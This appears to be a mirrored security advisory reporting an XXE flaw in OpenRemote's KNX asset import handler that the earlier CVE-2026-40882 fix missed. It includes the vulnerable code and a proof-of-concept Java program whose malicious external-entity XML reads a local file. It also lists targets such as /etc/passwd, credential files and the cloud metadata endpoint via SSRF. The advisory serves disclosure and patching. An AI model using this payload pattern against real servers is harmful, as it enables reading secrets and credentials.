GHSA-7V6W-C3F4-9WPQ

Vulnerability from github – Published: 2026-07-06 20:49 – Updated: 2026-07-06 20:49
VLAI
Summary
OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory
Details

Summary

The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (KNXProtocol) processes user-uploaded ETS project ZIP files through Saxon XSLT and XMLInputFactory.newInstance() with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. /etc/passwd, openmrs-runtime.properties, cloud credential files).

Details

Incomplete patch

CVE-2026-40882 was fixed by introducing createSecureDocumentBuilderFactory() in AbstractVelbusProtocol.java with five XXE-blocking features. The parallel asset import handler in KNXProtocol.java was not updated and retains two unprotected XML parsing calls on the same user-controlled data.

Patched file — AbstractVelbusProtocol.java:

private DocumentBuilderFactory createSecureDocumentBuilderFactory() {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    return factory;
}

Vulnerable file — KNXProtocol.java, lines 229–249:

// Line 229-230: reads 0.xml from user-uploaded ZIP
InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl");
String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);

// Lines 233-245: Saxon XSLT — no XXE protection on the source document
TransformerFactory tfactory = new TransformerFactoryImpl();
Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));
transformer.transform(
    new StreamSource(new StringReader(xml)),  // xml = 0.xml from attacker's ZIP
    new StreamResult(writer));

// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false
try (final XmlReader r = XmlInputFactory.newInstance()
        .createXMLStreamReader(new StringReader(xml))) { ... }

Data flow

POST /api/{realm}/agent/{agentId}/import   (authenticated user, PR:L)
  → AgentResourceImpl.doProtocolAssetImport(fileData)
  → KNXProtocol.startAssetImport(byte[] fileData)
  → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP
  → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml))  ← XXE stage 1
  → XmlInputFactory.newInstance().createXMLStreamReader(xml)     ← XXE stage 2
  → external entity resolved → arbitrary file read

Comparison with patched code

Handler XML parser DTD disabled Status
AbstractVelbusProtocol DocumentBuilderFactory ✅ 5 features set Patched (CVE-2026-40882)
KNXProtocol Saxon + XMLInputFactory ❌ none set Not patched

PoC

No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.

Requirements: Java 17+, Maven 3.8+

pom.xml dependency:

<dependency>
    <groupId>net.sf.saxon</groupId>
    <artifactId>Saxon-HE</artifactId>
    <version>12.9</version>
</dependency>

Exploit.java:

import net.sf.saxon.TransformerFactoryImpl;
import javax.xml.stream.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import java.io.*;
import java.nio.file.*;

public class Exploit {
    public static void main(String[] args) throws Exception {

        // Sentinel file — proves arbitrary file read
        Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt");
        String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis();
        Files.writeString(sentinel, tag);

        String maliciousXml =
            "<?xml version=\"1.0\"?>\n" +
            "<!DOCTYPE root [\n" +
            "  <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" +
            "]>\n" +
            "<root><data>&xxe;</data></root>";

        // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)
        XMLInputFactory factory = XMLInputFactory.newInstance();
        XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));
        StringBuilder sb = new StringBuilder();
        while (reader.hasNext()) {
            int e = reader.next();
            if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());
        }
        System.out.println("Stage A result: " + sb.toString().trim());

        // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)
        String xsl = "<?xml version=\"1.0\"?>" +
            "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" +
            "<xsl:output method=\"text\"/>" +
            "<xsl:template match=\"/\"><xsl:value-of select=\"root/data\"/></xsl:template>" +
            "</xsl:stylesheet>";
        TransformerFactory tf = new TransformerFactoryImpl();
        StringWriter writer = new StringWriter();
        tf.newTransformer(new StreamSource(new StringReader(xsl)))
          .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));
        System.out.println("Stage B result: " + writer.toString().trim());

        Files.deleteIfExists(sentinel);
    }
}

Build and run:

mvn clean package -q
java -jar target/openremote-xxe-1.0.jar

Verified output (JDK 21, Linux):

Stage A result: OPENREMOTE_KNX_XXE_1780611779589
Stage B result: OPENREMOTE_KNX_XXE_1780611779589

Both stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction.

Impact

Vulnerability type: XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).

Who is impacted: Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:

  • /etc/passwd — user enumeration
  • Application configuration files containing database credentials or API keys
  • Cloud provider metadata endpoints via SSRF (http://169.254.169.254/...)
  • Internal service endpoints reachable from the server

The vulnerability is present in KNXProtocol, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.24.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.openremote:openremote-agent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T20:49:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files).\n\n### Details\n### Incomplete patch\n\nCVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data.\n\n**Patched file \u2014 AbstractVelbusProtocol.java:**\n\n```java\nprivate DocumentBuilderFactory createSecureDocumentBuilderFactory() {\n    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);\n    factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n    factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n    factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false);\n    factory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false);\n    return factory;\n}\n```\n\n**Vulnerable file \u2014 KNXProtocol.java, lines 229\u2013249:**\n\n```java\n// Line 229-230: reads 0.xml from user-uploaded ZIP\nInputStream inputStream = KNXProtocol.class.getResourceAsStream(\".../ets_calimero_group_name.xsl\");\nString xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);\n\n// Lines 233-245: Saxon XSLT \u2014 no XXE protection on the source document\nTransformerFactory tfactory = new TransformerFactoryImpl();\nTransformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));\ntransformer.transform(\n    new StreamSource(new StringReader(xml)),  // xml = 0.xml from attacker\u0027s ZIP\n    new StreamResult(writer));\n\n// Line 249: XMLInputFactory \u2014 no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false\ntry (final XmlReader r = XmlInputFactory.newInstance()\n        .createXMLStreamReader(new StringReader(xml))) { ... }\n```\n\n### Data flow\n\n```\nPOST /api/{realm}/agent/{agentId}/import   (authenticated user, PR:L)\n  \u2192 AgentResourceImpl.doProtocolAssetImport(fileData)\n  \u2192 KNXProtocol.startAssetImport(byte[] fileData)\n  \u2192 ZipInputStream reads 0.xml from attacker-controlled ETS ZIP\n  \u2192 Saxon TransformerFactoryImpl.transform(StreamSource(0.xml))  \u2190 XXE stage 1\n  \u2192 XmlInputFactory.newInstance().createXMLStreamReader(xml)     \u2190 XXE stage 2\n  \u2192 external entity resolved \u2192 arbitrary file read\n```\n\n### Comparison with patched code\n\n| Handler | XML parser | DTD disabled | Status |\n|---|---|---|---|\n| `AbstractVelbusProtocol` | `DocumentBuilderFactory` | \u2705 5 features set | Patched (CVE-2026-40882) |\n| `KNXProtocol` | `Saxon` + `XMLInputFactory` | \u274c none set | **Not patched** |\n\n\n### PoC\nNo full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.\n\n**Requirements:** Java 17+, Maven 3.8+\n\n**pom.xml dependency:**\n```xml\n\u003cdependency\u003e\n    \u003cgroupId\u003enet.sf.saxon\u003c/groupId\u003e\n    \u003cartifactId\u003eSaxon-HE\u003c/artifactId\u003e\n    \u003cversion\u003e12.9\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\n**Exploit.java:**\n```java\nimport net.sf.saxon.TransformerFactoryImpl;\nimport javax.xml.stream.*;\nimport javax.xml.transform.*;\nimport javax.xml.transform.stream.*;\nimport java.io.*;\nimport java.nio.file.*;\n\npublic class Exploit {\n    public static void main(String[] args) throws Exception {\n\n        // Sentinel file \u2014 proves arbitrary file read\n        Path sentinel = Files.createTempFile(\"openremote_xxe_proof_\", \".txt\");\n        String tag = \"OPENREMOTE_KNX_XXE_\" + System.currentTimeMillis();\n        Files.writeString(sentinel, tag);\n\n        String maliciousXml =\n            \"\u003c?xml version=\\\"1.0\\\"?\u003e\\n\" +\n            \"\u003c!DOCTYPE root [\\n\" +\n            \"  \u003c!ENTITY xxe SYSTEM \\\"file://\" + sentinel.toAbsolutePath() + \"\\\"\u003e\\n\" +\n            \"]\u003e\\n\" +\n            \"\u003croot\u003e\u003cdata\u003e\u0026xxe;\u003c/data\u003e\u003c/root\u003e\";\n\n        // Stage A: XMLInputFactory (KNXProtocol.java:249 \u2014 no security config)\n        XMLInputFactory factory = XMLInputFactory.newInstance();\n        XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));\n        StringBuilder sb = new StringBuilder();\n        while (reader.hasNext()) {\n            int e = reader.next();\n            if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());\n        }\n        System.out.println(\"Stage A result: \" + sb.toString().trim());\n\n        // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)\n        String xsl = \"\u003c?xml version=\\\"1.0\\\"?\u003e\" +\n            \"\u003cxsl:stylesheet version=\\\"1.0\\\" xmlns:xsl=\\\"http://www.w3.org/1999/XSL/Transform\\\"\u003e\" +\n            \"\u003cxsl:output method=\\\"text\\\"/\u003e\" +\n            \"\u003cxsl:template match=\\\"/\\\"\u003e\u003cxsl:value-of select=\\\"root/data\\\"/\u003e\u003c/xsl:template\u003e\" +\n            \"\u003c/xsl:stylesheet\u003e\";\n        TransformerFactory tf = new TransformerFactoryImpl();\n        StringWriter writer = new StringWriter();\n        tf.newTransformer(new StreamSource(new StringReader(xsl)))\n          .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));\n        System.out.println(\"Stage B result: \" + writer.toString().trim());\n\n        Files.deleteIfExists(sentinel);\n    }\n}\n```\n\n**Build and run:**\n```bash\nmvn clean package -q\njava -jar target/openremote-xxe-1.0.jar\n```\n\n**Verified output (JDK 21, Linux):**\n```\nStage A result: OPENREMOTE_KNX_XXE_1780611779589\nStage B result: OPENREMOTE_KNX_XXE_1780611779589\n```\n\nBoth stages print the sentinel file\u0027s contents, confirming that an external entity referencing a local file is resolved without restriction.\n\n\n### Impact\n**Vulnerability type:** XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).\n\n**Who is impacted:** Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:\n\n- `/etc/passwd` \u2014 user enumeration\n- Application configuration files containing database credentials or API keys\n- Cloud provider metadata endpoints via SSRF (`http://169.254.169.254/...`)\n- Internal service endpoints reachable from the server\n\nThe vulnerability is present in `KNXProtocol`, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.",
  "id": "GHSA-7v6w-c3f4-9wpq",
  "modified": "2026-07-06T20:49:51Z",
  "published": "2026-07-06T20:49:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openremote/openremote/security/advisories/GHSA-7v6w-c3f4-9wpq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openremote/openremote/commit/c28d3c60ebc2da68d9b6c4a6d7a5ad875a255ee9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openremote/openremote"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…